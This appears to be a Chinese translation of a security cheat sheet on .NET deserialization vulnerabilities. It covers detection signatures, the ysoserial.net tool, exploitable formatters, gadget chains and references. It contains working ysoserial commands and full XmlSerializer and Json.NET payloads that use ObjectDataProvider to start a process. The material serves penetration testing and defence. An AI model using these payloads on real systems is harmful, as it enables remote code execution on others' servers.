.NET 反序列化 (.NET Deserialization)
.NET 序列化是将对象的状态转换为易于存储或传输的格式(如 XML、JSON 或二进制)的过程。随后可以将这些序列化数据保存到文件中、通过网络发送或存储在数据库中。之后,可以对其进行反序列化以重建原始对象,并保持其数据完整。序列化在 .NET 中广泛用于缓存、应用程序间的数据传输和会话状态管理等任务。
摘要 (Summary)
检测 (Detection)
| 数据 | 描述 |
|---|---|
AAEAAD (十六进制) |
.NET BinaryFormatter |
FF01 (十六进制) |
.NET ViewState |
/w (Base64) |
.NET ViewState |
示例:AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=
工具 (Tools)
-
pwntester/ysoserial.net - 针对多种 .NET 格式化程序的反序列化 Payload 生成器。
-
irsdl/ysonet - 针对多种 .NET 格式化程序的反序列化 Payload 生成器。
格式化程序 (Formatters)
来自 pwntester/attacking-net-serialization 的 .NET 原生格式化程序
XmlSerializer
- 在 C# 源代码中,查找
XmlSerializer(typeof(<TYPE>));。 - 攻击者必须能够控制 XmlSerializer 的类型 (type)。
- Payload 输出:XML
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
DataContractSerializer
DataContractSerializer 以松散耦合的方式进行反序列化。它绝不会从传入数据中读取公共语言运行时 (CLR) 类型和程序集名称。XmlSerializer 的安全模型与 DataContractSerializer 类似,主要区别在于细节。例如,使用 XmlIncludeAttribute 属性而不是 KnownTypeAttribute 属性来进行类型包含。
- 在 C# 源代码中,查找
DataContractSerializer(typeof(<TYPE>))。 - Payload 输出:XML
- 数据类型 (Type)必须由用户控制才能被利用。
NetDataContractSerializer
它扩展了
System.Runtime.Serialization.XmlObjectSerializer类,并且能够序列化任何被Serializable属性标记的类型,就像BinaryFormatter一样。
- 在 C# 源代码中,查找
NetDataContractSerializer().ReadObject()。 - Payload 输出:XML
LosFormatter
- 内部使用
BinaryFormatter。
JSON.NET
- 在 C# 源代码中,查找
JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings。 - Payload 输出:JSON
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
BinaryFormatter
BinaryFormatter 类型是危险的,不建议用于数据处理。应用程序应尽快停止使用 BinaryFormatter,即使它们认为正在处理的数据是可信的。BinaryFormatter 是不安全的,且无法通过修改使其安全。
- 在 C# 源代码中,查找
System.Runtime.Serialization.Binary.BinaryFormatter。 - 利用需要
[Serializable]或ISerializable接口。 - Payload 输出:二进制 (Binary)
POP Gadget (POP Gadgets)
这些 Gadget 必须具有以下属性:
- 可序列化
- 公共/可设置的变量
- 魔术“函数”:Get/Set, OnSerialisation, 构造函数/析构函数
您必须针对特定的格式化程序 (formatter) 仔细选择您的 Gadget。
常用 Payload 中使用的热门 Gadget 列表:
- ObjectDataProvider 来自
C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll- 使用
MethodParameters设置任意参数 - 使用
MethodName调用任意函数
- 使用
-
ExpandedWrapper
- 指定被封装对象的
object types
- 指定被封装对象的
-
System.Configuration.Install.AssemblyInstaller
- 使用 Assembly.Load 执行 Payload
参考资料 (References)
- 你是我的类型吗?通过序列化突破 .NET 沙箱 - 幻灯片 - James Forshaw - 2012年9月20日
- 你是我的类型吗?通过序列化突破 .NET 沙箱 - 白皮书 - James Forshaw - 2012年9月20日
- 攻击 .NET 反序列化 - Alvaro Muñoz - 2018年4月28日
- 攻击 .NET 序列化 - Alvaro - 2017年10月20日
- 基础 .NET 反序列化 (ObjectDataProvider gadget, ExpandedWrapper, 和 Json.Net) - HackTricks - 2024年7月18日
- 绕过 .NET 序列化绑定器 - Markus Wulftange - 2022年6月28日
- 通过 ViewState 利用 ASP.NET 中的反序列化漏洞 - Soroush Dalili (@irsdl) - 2019年4月23日
- 寻找新的 DataContractSerializer RCE Gadget 链 - dugisec - 2019年11月7日
- 13 号星期五:JSON 攻击 - DEF CON 25 会议 - Alvaro Muñoz (@pwntester) 和 Oleksandr Mirosh - 2017年7月22日
- 13 号星期五:JSON 攻击 - 幻灯片 - Alvaro Muñoz (@pwntester) 和 Oleksandr Mirosh - 2017年7月22日
- 13 号星期五:JSON 攻击 - 白皮书 - Alvaro Muñoz (@pwntester) 和 Oleksandr Mirosh - 2017年7月22日
- 序列化在此,反序列化在彼 - 系统性地寻找反序列化漏洞利用 - Alyssa Rahman - 2021年12月13日
- Sitecore Experience Platform 预授权 RCE - CVE-2021-42237 - Shubham Shah - 2021年11月2日